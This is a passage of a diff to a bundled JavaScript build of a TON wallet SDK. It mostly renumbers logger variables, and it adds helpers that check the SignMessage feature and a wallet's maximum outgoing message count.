validateTransactionRequestForWallet(request, wallet, event.isLocal) }; } catch (error) { - log$30.error("Failed to parse transaction request", { error }); + log$31.error("Failed to parse transaction request", { error }); errors.push("Failed to parse transaction request"); return { result: void 0, @@ -28728,15 +28769,15 @@ function parseTonConnectTransactionRequest(event, wallet) { }; } } -var log$30; +var log$31; var init_events = __esmMin((() => { - init_errors$3(); + init_errors$4(); init_transactionValidators(); init_internal(); init_transaction$1(); init_itemsResolver(); init_Logger(); - log$30 = globalLogger.createChild("EventsUtils"); + log$31 = globalLogger.createChild("EventsUtils"); })); //#endregion //#region ../../node_modules/.pnpm/@noble+hashes@2.2.0/node_modules/@noble/hashes/utils.js @@ -29636,7 +29677,7 @@ var import_dist$32; var init_mnemonic = __esmMin((() => { import_dist$32 = require_dist$2(); init_bip39(); - init_errors$3(); + init_errors$4(); })); //#endregion //#region ../walletkit/dist/esm/utils/sign.js @@ -31070,7 +31111,7 @@ async function createTransactionPreviewIfPossible(config, client, request, walle try { preview = await CallForSuccess(() => createTransactionPreview(client, request, wallet, options)); } catch (error) { - log$29.error("Failed to create transaction preview", { error }); + log$30.error("Failed to create transaction preview", { error }); preview = { error: { code: ERROR_CODES.UNKNOWN_EMULATION_ERROR, @@ -31081,7 +31122,7 @@ async function createTransactionPreviewIfPossible(config, client, request, walle } return preview; } -var import_dist$20, log$29, SIGN_MODE_EMULATION_VALUE; +var import_dist$20, log$30, SIGN_MODE_EMULATION_VALUE; var init_transactionPreview = __esmMin((() => { import_dist$20 = require_dist$1(); init_map_emulation_trace(); @@ -31090,7 +31131,7 @@ var init_transactionPreview = __esmMin((() => { init_retry(); init_models(); init_Logger(); - log$29 = globalLogger.createChild("TransactionPreview"); + log$30 = globalLogger.createChild("TransactionPreview"); SIGN_MODE_EMULATION_VALUE = 2000000000n; })); //#endregion @@ -31290,6 +31331,51 @@ var init_toncenter$2 = __esmMin((() => { init_getTransactionStatus(); })); //#endregion +//#region ../walletkit/dist/esm/utils/features/getMaxOutgoingMessages.js +/** +* Copyright (c) TonTech. +* +* This source code is licensed under the MIT license found in the +* LICENSE file in the root directory of this source tree. +* +*/ +/** +* Maximum number of messages the wallet can handle for the given feature. +* Defaults to the `SendTransaction` cap (used e.g. by the swap flow); pass +* `'SignMessage'` for the gasless flow, whose cap lives on a different feature. +* @param features - Array of wallet features from getSupportedFeatures() +* @returns Maximum number of messages the wallet can handle (default: 1 when the +* feature is not advertised) +*/ +function getMaxOutgoingMessages(features, featureName = "SendTransaction") { + return features.find((f) => typeof f === "object" && f.name === featureName)?.maxMessages ?? 1; +} +var init_getMaxOutgoingMessages = __esmMin((() => {})); +//#endregion +//#region ../walletkit/dist/esm/utils/features/hasSignMessageSupport.js +/** +* Copyright (c) TonTech. +* +* This source code is licensed under the MIT license found in the +* LICENSE file in the root directory of this source tree. +* +*/ +/** Find the wallet's advertised `SignMessage` feature, if any. */ +function findSignMessageFeature(features) { + return features.find((feature) => !!feature && typeof feature === "object" && feature.name === "SignMessage"); +} +/** Whether the connected wallet advertises the `SignMessage` feature. */ +function hasSignMessageSupport(features) { + return findSignMessageFeature(features) !== void 0; +} +var init_hasSignMessageSupport = __esmMin((() => {})); +//#endregion +//#region ../walletkit/dist/esm/utils/features/index.js +var init_features = __esmMin((() => { + init_getMaxOutgoingMessages(); + init_hasSignMessageSupport(); +})); +//#endregion //#region ../walletkit/dist/esm/utils/index.js var init_utils$2 = __esmMin((() => { init_Signer(); @@ -31319,17 +31405,18 @@ var init_utils$2 = __esmMin((() => { init_toncenter$2(); init_getNormalizedExtMessageHash(); init_manifest(); + init_features(); })); //#endregion //#region ../walletkit/dist/esm/handlers/TransactionHandler.js -var log$28, TransactionHandler; +var log$29, TransactionHandler; var init_TransactionHandler = __esmMin((() => { init_esm$2(); init_Logger(); init_BasicHandler(); init_events(); init_utils$2(); - log$28 = globalLogger.createChild("TransactionHandler"); + log$29 = globalLogger.createChild("TransactionHandler"); TransactionHandler = class extends BasicHandler { config; walletManager; @@ -31351,7 +31438,7 @@ var init_TransactionHandler = __esmMin((() => { async handle(event) { const wallet = getWalletFromEvent(this.walletManager, event); if (!wallet) { - log$28.error("Wallet not found", { event }); + log$29.error("Wallet not found", { event }); return { error: { code: SEND_TRANSACTION_ERROR_CODES$1.UNKNOWN_APP_ERROR, @@ -31362,7 +31449,7 @@ var init_TransactionHandler = __esmMin((() => { } const requestValidation = this.parseTonConnectTransactionRequest(event, wallet); if (!requestValidation.result || !requestValidation?.validation?.isValid) { - log$28.error("Failed to parse transaction request", { + log$29.error("Failed to parse transaction request", { event, requestValidation }); @@ -31408,13 +31495,13 @@ var init_TransactionHandler = __esmMin((() => { })); //#endregion //#region ../walletkit/dist/esm/handlers/SignDataHandler.js -var log$27, SignDataHandler; +var log$28, SignDataHandler; var init_SignDataHandler = __esmMin((() => { init_internal(); init_BasicHandler(); init_Logger(); - init_errors$3(); - log$27 = globalLogger.createChild("SignDataHandler"); + init_errors$4(); + log$28 = globalLogger.createChild("SignDataHandler"); SignDataHandler = class extends BasicHandler { analytics; walletManager; @@ -31435,12 +31522,12 @@ var init_SignDataHandler = __esmMin((() => { const wallet = walletId ? this.walletManager.getWallet(walletId) : void 0; const payload = this.parseDataToSign(event); if (!payload) { - log$27.error("No data to sign found in request", { event }); + log$28.error("No data to sign found in request", { event }); throw new WalletKitError(ERROR_CODES.INVALID_REQUEST_EVENT, "No data to sign found in request", void 0, { eventId: event.id }); } const preview = this.createDataPreview(payload.data, event); if (!preview) { - log$27.error("No preview found for data", { data: payload }); + log$28.error("No preview found for data", { data: payload }); throw new WalletKitError(ERROR_CODES.RESPONSE_CREATION_FAILED, "Failed to create preview for sign data request", void 0, { eventId: event.id, data: payload @@ -31497,7 +31584,7 @@ var init_SignDataHandler = __esmMin((() => { } }; } catch (error) { - log$27.error("Error deserializing cell", { error }); + log$28.error("Error deserializing cell", { error }); return { type: "cell", value: { @@ -31511,14 +31598,14 @@ var init_SignDataHandler = __esmMin((() => { })); //#endregion //#region ../walletkit/dist/esm/handlers/SignMessageHandler.js -var log$26, SignMessageHandler; +var log$27, SignMessageHandler; var init_SignMessageHandler = __esmMin((() => { init_esm$2(); init_Logger(); init_BasicHandler(); init_utils$2(); init_events(); - log$26 = globalLogger.createChild("SignMessageHandler"); + log$27 = globalLogger.createChild("SignMessageHandler"); SignMessageHandler = class extends BasicHandler { config; walletManager; @@ -31540,7 +31627,7 @@ var init_SignMessageHandler = __esmMin((() => { async handle(event) { const wallet = getWalletFromEvent(this.walletManager, event); if (!wallet) { - log$26.error("Wallet not found", { event }); + log$27.error("Wallet not found", { event }); return { error: { code: SIGN_MESSAGE_ERROR_CODES.UNKNOWN_APP_ERROR, @@ -31551,7 +31638,7 @@ var init_SignMessageHandler = __esmMin((() => { } const requestValidation = this.parseTonConnectTransactionRequest(event, wallet); if (!requestValidation.result || !requestValidation?.validation?.isValid) { - log$26.error("Failed to parse sign message request", { + log$27.error("Failed to parse sign message request", { event, requestValidation }); @@ -31597,7 +31684,7 @@ var init_SignMessageHandler = __esmMin((() => { var DisconnectHandler; var init_DisconnectHandler = __esmMin((() => { init_BasicHandler(); - init_errors$3(); + init_errors$4(); DisconnectHandler = class extends BasicHandler { sessionManager; constructor(notify, sessionManager) { @@ -31636,7 +31723,7 @@ var init_DisconnectHandler = __esmMin((() => { })); //#endregion //#region ../walletkit/dist/esm/core/EventRouter.js -var log$25, EventRouter; +var log$26, EventRouter; var init_EventRouter = __esmMin((() => { init_ConnectHandler(); init_TransactionHandler(); @@ -31645,7 +31732,7 @@ var init_EventRouter = __esmMin((() => { init_DisconnectHandler(); init_events$1(); init_Logger(); - log$25 = globalLogger.createChild("EventRouter"); + log$26 = globalLogger.createChild("EventRouter"); EventRouter = class { config; eventEmitter; @@ -31677,7 +31764,7 @@ var init_EventRouter = __esmMin((() => { async routeEvent(event) { const validation = validateBridgeEvent(event); if (!validation.isValid) { - log$25.error("Invalid bridge event", { errors: validation.errors }); + log$26.error("Invalid bridge event", { errors: validation.errors }); return; } try { @@ -31692,7 +31779,7 @@ var init_EventRouter = __esmMin((() => { try { await this.bridgeManager.sendResponse(event, result); } catch (error) { - log$25.error("Error sending response for error event", { + log$26.error("Error sending response for error event", { error, event, result @@ -31704,7 +31791,7 @@ var init_EventRouter = __esmMin((() => { break; } } catch (error) { - log$25.error("Error routing event", { error }); + log$26.error("Error routing event", { error }); throw error; } } @@ -31833,7 +31920,7 @@ function hasConnectionResult(event) { */ async function signTransactionInternal(wallet, request) { const signedBoc = await wallet.getSignedSendTransaction(request, { fakeSignature: false }); - log$24.debug("Signing transaction", { + log$25.debug("Signing transaction", { messagesNumber: request.messages.length, fromAddress: request.fromAddress, validUntil: request.validUntil @@ -31889,7 +31976,7 @@ function parseDomain(url) { value: parsedUrl.host }; } catch (error) { - log$24.error("Failed to parse domain", { error }); + log$25.error("Failed to parse domain", { error }); return { lengthBytes: 0, value: "" @@ -31917,7 +32004,7 @@ function toTonConnectSignDataPayload(payload) { bytes: payload.data.value.content }; } -var import_dist$16, import_dist$17, log$24, RequestProcessor; +var import_dist$16, import_dist$17, log$25, RequestProcessor; var init_RequestProcessor = __esmMin((() => { import_dist$16 = require_dist$1(); init_esm$2(); @@ -31926,13 +32013,13 @@ var init_RequestProcessor = __esmMin((() => { init_tonProof(); init_retry(); init_getDefaultWalletConfig(); - init_errors$3(); + init_errors$4(); init_base64(); init_sign(); init_transaction$1(); init_utils$2(); init_events(); - log$24 = globalLogger.createChild("RequestProcessor"); + log$25 = globalLogger.createChild("RequestProcessor"); RequestProcessor = class { walletKitOptions; sessionManager; @@ -31995,7 +32082,7 @@ var init_RequestProcessor = __esmMin((() => { } return; } catch (error) { - log$24.error("Failed to approve connect request", { error }); + log$25.error("Failed to approve connect request", { error }); throw error; } } @@ -32130,7 +32217,7 @@ var init_RequestProcessor = __esmMin((() => { */ async rejectConnectRequest(event, reason, errorCode) { try { - log$24.info("Connect request rejected", { + log$25.info("Connect request rejected", { id: event.id, dAppName: event.preview.dAppInfo?.name || "", reason: reason || "User rejected connection" @@ -32147,7 +32234,7 @@ var init_RequestProcessor = __esmMin((() => { try { await this.bridgeManager.sendResponse(event, response, new SessionCrypto()); } catch (error) { - log$24.error("Failed to send connect request rejection response", { error }); + log$25.error("Failed to send connect request rejection response", { error }); } if (this.analytics) { const sessionData = event.from ? await this.sessionManager.getSession(sessionId) : void 0; @@ -32176,7 +32263,7 @@ var init_RequestProcessor = __esmMin((() => { } return; } catch (error) { - log$24.error("Failed to reject connect request", { error }); + log$25.error("Failed to reject connect request", { error }); throw error; } } @@ -32208,7 +32295,7 @@ var init_RequestProcessor = __esmMin((() => { return { signedBoc }; } } catch (error) { - log$24.error("Failed to approve transaction request", { error }); + log$25.error("Failed to approve transaction request", { error }); if (error instanceof WalletKitError) throw error; if (error?.message?.includes("Ledger device")) throw new WalletKitError(ERROR_CODES.LEDGER_DEVICE_ERROR, "Ledger device error", error); throw error; @@ -32258,7 +32345,7 @@ var init_RequestProcessor = __esmMin((() => { } return; } catch (error) { - log$24.error("Failed to reject transaction request", { error }); + log$25.error("Failed to reject transaction request", { error }); throw error; } } @@ -32289,7 +32376,7 @@ var init_RequestProcessor = __esmMin((() => { return { internalBoc }; } } catch (error) { - log$24.error("Failed to approve sign message request", { error }); + log$25.error("Failed to approve sign message request", { error }); throw error; } } @@ -32307,7 +32394,7 @@ var init_RequestProcessor = __esmMin((() => { }; await this.sendBridgeMessage(event, void 0, response); } catch (error) { - log$24.error("Failed to reject sign message request", { error }); + log$25.error("Failed to reject sign message request", { error }); throw error; } } @@ -32410,7 +32497,7 @@ var init_RequestProcessor = __esmMin((() => { }; } } catch (error) { - log$24.error("Failed to approve sign data request", { error: error?.message?.toString() ?? error?.toString() }); + log$25.error("Failed to approve sign data request", { error: error?.message?.toString() ?? error?.toString() }); if (error instanceof WalletKitError) throw error; throw error; } @@ -32445,7 +32532,7 @@ var init_RequestProcessor = __esmMin((() => { } return; } catch (error) { - log$24.error("Failed to reject sign data request", { error }); + log$25.error("Failed to reject sign data request", { error }); throw error; } } @@ -32522,14 +32609,14 @@ var init_RequestProcessor = __esmMin((() => { })); //#endregion //#region ../walletkit/dist/esm/core/EventStore.js -var getEventUUID, log$23, MAX_EVENT_SIZE_BYTES, StorageEventStore; +var getEventUUID, log$24, MAX_EVENT_SIZE_BYTES, StorageEventStore; var init_EventStore = __esmMin((() => { init_Logger(); init_events$1(); getEventUUID = () => { return crypto.randomUUID(); }; - log$23 = globalLogger.createChild("EventStore"); + log$24 = globalLogger.createChild("EventStore"); MAX_EVENT_SIZE_BYTES = 100 * 1024; StorageEventStore = class { storage; @@ -32562,7 +32649,7 @@ var init_EventStore = __esmMin((() => { sizeBytes }; await this.saveEvent(storedEvent); - log$23.info("Event stored", { + log$24.info("Event stored", { eventId: storedEvent.id, eventType, sizeBytes, @@ -32590,11 +32677,11 @@ var init_EventStore = __esmMin((() => { const allEvents = await this.getAllEventsFromStorage(); const event = allEvents[eventId]; if (!event) { - log$23.warn("Cannot lock non-existent event", { eventId }); + log$24.warn("Cannot lock non-existent event", { eventId }); return; } if (event.status !== "new") { - log$23.debug("Cannot lock event - not in new status", { + log$24.debug("Cannot lock event - not in new status", { eventId, status: event.status, lockedBy: event.lockedBy @@ -32609,7 +32696,7 @@ var init_EventStore = __esmMin((() => { }; allEvents[eventId] = updatedEvent; await this.storage.set(this.storageKey, allEvents); - log$23.debug("Event lock acquired", { + log$24.debug("Event lock acquired", { eventId, walletAddress: walletId }); @@ -32636,7 +32723,7 @@ var init_EventStore = __esmMin((() => { }; allEvents[eventId] = updatedEvent; await this.storage.set(this.storageKey, allEvents); - log$23.debug("Event retry count incremented", { + log$24.debug("Event retry count incremented", { eventId, retryCount: updatedEvent.retryCount, error @@ -32660,7 +32747,7 @@ var init_EventStore = __esmMin((() => { if (status === "completed") updatedEvent.completedAt = Date.now(); allEvents[eventId] = updatedEvent; await this.storage.set(this.storageKey, allEvents); - log$23.debug("Event status updated", { + log$24.debug("Event status updated", { eventId, oldStatus, newStatus: status @@ -32675,7 +32762,7 @@ var init_EventStore = __esmMin((() => { try { return (await this.getAllEventsFromStorage())[eventId] || null; } catch (error) { - log$23.warn("Failed to get event", { + log$24.warn("Failed to get event", { eventId, error }); @@ -32697,14 +32784,14 @@ var init_EventStore = __esmMin((() => { }; await this.saveEvent(recoveredEvent); recoveredCount++; - log$23.info("Recovered stale event", { + log$24.info("Recovered stale event", { eventId: event.id, lockedBy: event.lockedBy, staleMinutes: Math.round((now - event.processingStartedAt) / 6e4), retryCount: event.retryCount || 0 }); } - if (recoveredCount > 0) log$23.info("Event recovery completed", { recoveredCount }); + if (recoveredCount > 0) log$24.info("Event recovery completed", { recoveredCount }); return recoveredCount; } /** @@ -32717,7 +32804,7 @@ var init_EventStore = __esmMin((() => { const eventsToRemove = []; for (const event of events) if (event.status === "completed" && event.completedAt && event.completedAt < cutoffTime || event.status === "errored" && event.createdAt < cutoffTime) { eventsToRemove.push(event.id); - log$23.debug("Marked event for cleanup", { + log$24.debug("Marked event for cleanup", { eventId: event.id, status: event.status }); @@ -32731,7 +32818,7 @@ var init_EventStore = __esmMin((() => { } await this.storage.set(this.storageKey, allEvents); }); - log$23.info("Event cleanup completed", { cleanedUpCount }); + log$24.info("Event cleanup completed", { cleanedUpCount }); } return cleanedUpCount; } @@ -32743,7 +32830,7 @@ var init_EventStore = __esmMin((() => { const allEvents = await this.getAllEventsFromStorage(); return Object.values(allEvents); } catch (error) { - log$23.warn("Failed to get all events", { error }); + log$24.warn("Failed to get all events", { error }); return []; } } @@ -32765,7 +32852,7 @@ var init_EventStore = __esmMin((() => { try { return await this.storage.get(this.storageKey) || {}; } catch (error) { - log$23.warn("Failed to get events from storage", { error }); + log$24.warn("Failed to get events from storage", { error }); return {}; } } @@ -32798,10 +32885,10 @@ var init_EventStore = __esmMin((() => { })); //#endregion //#region ../walletkit/dist/esm/core/EventProcessor.js -var log$22, StorageEventProcessor; +var log$23, StorageEventProcessor; var init_EventProcessor = __esmMin((() => { init_Logger(); - log$22 = globalLogger.createChild("EventProcessor"); + log$23 = globalLogger.createChild("EventProcessor"); StorageEventProcessor = class { eventStore; config; @@ -32833,14 +32920,14 @@ var init_EventProcessor = __esmMin((() => { */ async startProcessing(walletId) { if (this.processorConfig.disableEvents) return; - if (walletId) if (this.registeredWallets.has(walletId)) log$22.debug("Processing already registered for wallet", { walletId }); + if (walletId) if (this.registeredWallets.has(walletId)) log$23.debug("Processing already registered for wallet", { walletId }); else { this.registeredWallets.add(walletId); - log$22.info("Registered wallet for event processing", { walletId }); + log$23.info("Registered wallet for event processing", { walletId }); } if (!this.isProcessing) { this.isProcessing = true; - log$22.info("Started global event processing loop"); + log$23.info("Started global event processing loop"); this.processEventsLoop(); } else this.triggerProcessing(); } @@ -32851,7 +32938,7 @@ var init_EventProcessor = __esmMin((() => { if (this.processorConfig.disableEvents) return; if (walletId) { this.registeredWallets.delete(walletId); - log$22.info("Unregistered wallet from event processing", { walletId }); + log$23.info("Unregistered wallet from event processing", { walletId }); } if (this.registeredWallets.size === 0 && this.isProcessing && !walletId) { this.isProcessing = false; @@ -32859,12 +32946,12 @@ var init_EventProcessor = __esmMin((() => { this.wakeUpResolver(); this.wakeUpResolver = void 0; } - log$22.info("Stopped global event processing loop (no more wallets)"); + log$23.info("Stopped global event processing loop (no more wallets)"); } } async clearRegisteredWallets() { this.registeredWallets.clear(); - log$22.info("Cleared registered wallets from event processing"); + log$23.info("Cleared registered wallets from event processing"); } /** * Process next available event from any source (wallet or no-wallet) @@ -32894,7 +32981,7 @@ var init_EventProcessor = __esmMin((() => { const walletId = allSessions.find((s) => s.sessionId === eventToUse.sessionId)?.walletId || "no-wallet"; return await this.processEvent(eventToUse, walletId); } catch (error) { - log$22.error("Error in processNextAvailableEvent", { error: error.message }); + log$23.error("Error in processNextAvailableEvent", { error: error.message }); return false; } } @@ -32904,9 +32991,9 @@ var init_EventProcessor = __esmMin((() => { async completeEvent(eventId) { try { await this.eventStore.updateEventStatus(eventId, "completed", "processing"); - log$22.debug("Event marked as completed", { eventId }); + log$23.debug("Event marked as completed", { eventId }); } catch (error) { - log$22.error("Failed to mark event as completed", { + log$23.error("Failed to mark event as completed", { eventId, error: error.message }); @@ -32917,14 +33004,14 @@ var init_EventProcessor = __esmMin((() => { */ startRecoveryLoop() { if (this.recoveryTimeoutId) { - log$22.debug("Recovery loop already running"); + log$23.debug("Recovery loop already running"); return; } const recoveryLoop = async () => { try { if (await this.eventStore.recoverStaleEvents(this.config.processingTimeoutMs) > 0) this.triggerProcessing(); } catch (error) { - log$22.error("Error in recovery loop", { error: error.message }); + log$23.error("Error in recovery loop", { error: error.message }); } if (this.recoveryTimeoutId !== void 0) this.recoveryTimeoutId = setTimeout(recoveryLoop, this.config.recoveryIntervalMs); }; @@ -32932,13 +33019,13 @@ var init_EventProcessor = __esmMin((() => { try { await this.eventStore.cleanupOldEvents(this.config.retentionMs); } catch (error) { - log$22.error("Error in cleanup loop", { error: error.message }); + log$23.error("Error in cleanup loop", { error: error.message }); } if (this.cleanupTimeoutId !== void 0) this.cleanupTimeoutId = setTimeout(cleanupLoop, this.config.cleanupIntervalMs); }; this.recoveryTimeoutId = setTimeout(recoveryLoop, this.config.recoveryIntervalMs); this.cleanupTimeoutId = setTimeout(cleanupLoop, this.config.cleanupIntervalMs); - log$22.info("Recovery and cleanup loops started"); + log$23.info("Recovery and cleanup loops started"); } /** * Stop the recovery process @@ -32952,7 +33039,7 @@ var init_EventProcessor = __esmMin((() => { clearTimeout(this.cleanupTimeoutId); this.cleanupTimeoutId = void 0; } - log$22.info("Recovery and cleanup loops stopped"); + log$23.info("Recovery and cleanup loops stopped"); } /** * Process a single event with retry logic @@ -32960,7 +33047,7 @@ var init_EventProcessor = __esmMin((() => { */ async processEvent(event, walletId) { if (!await this.eventStore.acquireLock(event.id, walletId)) { - log$22.debug("Failed to acquire lock on event", { + log$23.debug("Failed to acquire lock on event", { eventId: event.id, walletId }); @@ -32968,7 +33055,7 @@ var init_EventProcessor = __esmMin((() => { } const retryCount = event.retryCount || 0; if (retryCount >= this.config.maxRetries) { - log$22.error("Event exceeded max retries, marking as errored", { + log$23.error("Event exceeded max retries, marking as errored", { eventId: event.id, retryCount, maxRetries: this.config.maxRetries @@ -32976,14 +33063,14 @@ var init_EventProcessor = __esmMin((() => { try { await this.eventStore.updateEventStatus(event.id, "errored", "processing"); } catch (error) { - log$22.error("Failed to mark event as errored", { + log$23.error("Failed to mark event as errored", { eventId: event.id, error: error.message }); } return false; } - log$22.info("Processing event", { + log$23.info("Processing event", { eventId: event.id, eventType: event.eventType, walletId, @@ -33003,11 +33090,11 @@ var init_EventProcessor = __esmMin((() => { ...walletAddress ? { walletAddress } : {} }); await this.eventStore.updateEventStatus(event.id, "completed", "processing"); - log$22.info("Event processing completed", { eventId: event.id }); + log$23.info("Event processing completed", { eventId: event.id }); return true; } catch (error) { const errorMessage = error.message ?? "Unknown error"; - log$22.error("Error processing event", { + log$23.error("Error processing event", { eventId: event.id, error: errorMessage, retryCount @@ -33015,7 +33102,7 @@ var init_EventProcessor = __esmMin((() => { try { await this.eventStore.releaseLock(event.id, errorMessage); } catch (updateError) { - log$22.error("Failed to increment retry count", { + log$23.error("Failed to increment retry count", { eventId: event.id, error: updateError.message }); @@ -33030,18 +33117,18 @@ var init_EventProcessor = __esmMin((() => { while (this.isProcessing) try { if (!await this.processNextAvailableEvent()) await this.waitForWakeUpOrTimeout(500); } catch (error) { - log$22.error("Error in global processing loop", { error: error.message }); + log$23.error("Error in global processing loop", { error: error.message }); await this.waitForWakeUpOrTimeout(500); } this.wakeUpResolver = void 0; - log$22.debug("Global processing loop ended"); + log$23.debug("Global processing loop ended"); } /** * Trigger the global processing loop */ triggerProcessing() { if (this.isProcessing && this.wakeUpResolver) { - log$22.debug("Waking up global processing loop"); + log$23.debug("Waking up global processing loop"); this.wakeUpResolver(); } } @@ -33078,7 +33165,7 @@ var init_EventProcessor = __esmMin((() => { })); //#endregion //#region ../walletkit/dist/esm/core/wallet/extensions/ton.js -var log$21, WalletTonClass; +var log$22, WalletTonClass; var init_ton = __esmMin((() => { init_address$1(); init_validation(); @@ -33086,9 +33173,9 @@ var init_ton = __esmMin((() => { init_transactionPreview(); init_messageBuilders(); init_getNormalizedExtMessageHash(); - init_errors$3(); + init_errors$4(); init_Logger(); - log$21 = globalLogger.createChild("WalletTonClass"); + log$22 = globalLogger.createChild("WalletTonClass"); WalletTonClass = class { async createTransferTonTransaction(param) { if (!isValidAddress(param.recipientAddress)) throw new Error(`Invalid to address: ${param.recipientAddress}`); @@ -33149,7 +33236,7 @@ var init_ton = __esmMin((() => { normalizedHash }; } catch (error) { - log$21.error("Failed to send transaction", { error }); + log$22.error("Failed to send transaction", { error }); if (error instanceof WalletKitError) throw error; if (error?.message?.includes("Ledger device")) throw new WalletKitError(ERROR_CODES.LEDGER_DEVICE_ERROR, "Ledger device error", error); throw error; @@ -33179,7 +33266,7 @@ var init_jetton$1 = __esmMin((() => { payload: createJettonTransferPayload({ amount: BigInt(params.transferAmount), destination: params.recipientAddress, - responseDestination: this.getAddress(), + responseDestination: params.responseDestination || this.getAddress(), comment: params.comment }), fromAddress: this.getAddress() @@ -33265,7 +33352,7 @@ async function wrapWalletInterface(wallet) { } }); return newProxy; } -var log$20, Initializer; +var log$21, Initializer; var init_Initializer = __esmMin((() => { init_types$2(); init_storage(); @@ -33280,7 +33367,7 @@ var init_Initializer = __esmMin((() => { init_ton(); init_jetton$1(); init_nft(); - log$20 = globalLogger.createChild("Initializer"); + log$21 = globalLogger.createChild("Initializer"); Initializer = class { config; networkManager; @@ -33296,12 +33383,12 @@ var init_Initializer = __esmMin((() => { */ async initialize(options, networkManager) { try { - log$20.info("Initializing TonWalletKit..."); + log$21.info("Initializing TonWalletKit..."); this.networkManager = networkManager; const storage = this.initializeStorage(options); const { walletManager, sessionManager, bridgeManager, eventRouter, eventProcessor } = await this.initializeManagers(options, storage); const { requestProcessor } = this.initializeProcessors(sessionManager, bridgeManager, walletManager); - log$20.info("TonWalletKit initialized successfully"); + log$21.info("TonWalletKit initialized successfully"); return { walletManager, sessionManager, @@ -33312,7 +33399,7 @@ var init_Initializer = __esmMin((() => { eventProcessor }; } catch (error) { - log$20.error("Failed to initialize TonWalletKit", { error }); + log$21.error("Failed to initialize TonWalletKit", { error }); throw error; } } @@ -33348,9 +33435,9 @@ var init_Initializer = __esmMin((() => { const bridgeManager = new BridgeManager(options?.walletManifest, options?.bridge, sessionManager, storage, eventStore, eventRouter, options, this.eventEmitter, this.analyticsManager); eventRouter.setBridgeManager(bridgeManager); bridgeManager.start().then(() => { - log$20.info("Bridge manager started successfully"); + log$21.info("Bridge manager started successfully"); }).catch((e) => { - log$20.error("Could not start bridge manager", { error: e?.toString?.() }); + log$21.error("Could not start bridge manager", { error: e?.toString?.() }); }); const eventProcessor = new StorageEventProcessor(options?.eventProcessor, eventStore, DEFAULT_DURABLE_EVENTS_CONFIG, walletManager, sessionManager, eventRouter, this.eventEmitter); return { @@ -33372,7 +33459,7 @@ var init_Initializer = __esmMin((() => { */ async cleanup(components) { try { - log$20.info("Cleaning up TonWalletKit components..."); + log$21.info("Cleaning up TonWalletKit components..."); if (components.eventProcessor) { components.eventProcessor.stopRecoveryLoop(); await components.eventProcessor.clearRegisteredWallets(); @@ -33380,9 +33467,9 @@ var init_Initializer = __esmMin((() => { } if (components.bridgeManager) await components.bridgeManager.close(); if (components.eventRouter) components.eventRouter.clearCallbacks(); - log$20.info("TonWalletKit cleanup completed"); + log$21.info("TonWalletKit cleanup completed"); } catch (error) { - log$20.error("Error during cleanup", { error }); + log$21.error("Error during cleanup", { error }); } } }; @@ -33398,14 +33485,14 @@ function isTonAddress(address) { function createCacheKey(network, address) { return `${network.chainId}:${address}`; } -var import_dist$15, log$19, TON_ADDRESS, TON_INFO, JettonsManager; +var import_dist$15, log$20, TON_ADDRESS, TON_INFO, JettonsManager; var init_JettonsManager = __esmMin((() => { import_dist$15 = require_dist$1(); init_index_min(); init_Logger(); init_jettons(); init_utils$2(); - log$19 = globalLogger.createChild("JettonsManager"); + log$20 = globalLogger.createChild("JettonsManager"); TON_ADDRESS = "TON"; TON_INFO = { address: TON_ADDRESS, @@ -33432,7 +33519,7 @@ var init_JettonsManager = __esmMin((() => { ttl: 1e3 * 60 * 10 }); for (const network of this.networkManager.getConfiguredNetworks()) this.addTonToCache(network); - log$19.info("JettonsManager initialized", { cacheSize }); + log$20.info("JettonsManager initialized", { cacheSize }); } /** * Add TON native token to cache for a specific network @@ -33453,19 +33540,19 @@ var init_JettonsManager = __esmMin((() => { const cacheKey = this.normalizedCacheKey(targetNetwork, jettonAddress); const cachedInfo = this.cache.get(cacheKey); if (cachedInfo) { - log$19.debug("Jetton info found in cache", { + log$20.debug("Jetton info found in cache", { jettonAddress, network: targetNetwork }); return cachedInfo; } - log$19.debug("Jetton info not found in cache", { + log$20.debug("Jetton info not found in cache", { jettonAddress, network: targetNetwork }); const address = asMaybeAddressFriendly(jettonAddress); if (!address) { - log$19.error("Invalid jetton address format", { + log$20.error("Invalid jetton address format", { jettonAddress, network: targetNetwork }); @@ -33500,7 +33587,7 @@ var init_JettonsManager = __esmMin((() => { } return null; } catch (error) { - log$19.error("Error getting jetton info", { + log$20.error("Error getting jetton info", { error, jettonAddress, network: targetNetwork @@ -33519,7 +33606,7 @@ var init_JettonsManager = __esmMin((() => { const targetNetwork = network; try { const apiClient = this.networkManager.getClient(targetNetwork); - log$19.debug("Getting address jettons", { + log$20.debug("Getting address jettons", { userAddress, network: targetNetwork, offset, @@ -33533,13 +33620,13 @@ var init_JettonsManager = __esmMin((() => { if (!response.jettons) return []; const addressJettons = []; for (const item of response.jettons) addressJettons.push(item); - log$19.debug("Retrieved address jettons", { + log$20.debug("Retrieved address jettons", { count: addressJettons.length, network: targetNetwork }); return addressJettons; } catch (error) { - log$19.error("Failed to get address jettons", { + log$20.error("Failed to get address jettons", { error, userAddress, network: targetNetwork @@ -33563,14 +33650,14 @@ var init_JettonsManager = __esmMin((() => { uri: emulationInfo.extra.uri }; this.cache.set(cacheKey, jettonInfo); - log$19.debug("Added jetton info from emulation to cache", { + log$20.debug("Added jetton info from emulation to cache", { jettonAddress, network, name: jettonInfo.name, symbol: jettonInfo.symbol }); } catch (error) { - log$19.error("Error adding jetton from emulation", { + log$20.error("Error adding jetton from emulation", { error, jettonAddress, network @@ -33587,7 +33674,7 @@ var init_JettonsManager = __esmMin((() => { if (!addressMetadata.is_indexed || !addressMetadata.token_info) continue; const jettonMasterInfo = addressMetadata.token_info.find((info) => typeof info === "object" && info !== null && "type" in info && info.type === "jetton_masters"); if (jettonMasterInfo) { - log$19.debug("Adding jetton from emulation metadata", { + log$20.debug("Adding jetton from emulation metadata", { jettonAddress, network }); @@ -33595,12 +33682,12 @@ var init_JettonsManager = __esmMin((() => { addedCount++; } } - if (addedCount > 0) log$19.info("Added jettons from emulation metadata", { + if (addedCount > 0) log$20.info("Added jettons from emulation metadata", { addedCount, network }); } catch (error) { - log$19.error("Error adding jettons from emulation metadata", { + log$20.error("Error adding jettons from emulation metadata", { error, network }); @@ -33641,11 +33728,11 @@ var init_JettonsManager = __esmMin((() => { if (network) { for (const key of this.cache.keys()) if (key.startsWith(`${network.chainId}:`)) this.cache.delete(key); this.addTonToCache(network); - log$19.info("Jetton cache cleared for network", { network }); + log$20.info("Jetton cache cleared for network", { network }); } else { this.cache.clear(); for (const net of this.networkManager.getConfiguredNetworks()) this.addTonToCache(net); - log$19.info("Jetton cache cleared for all networks"); + 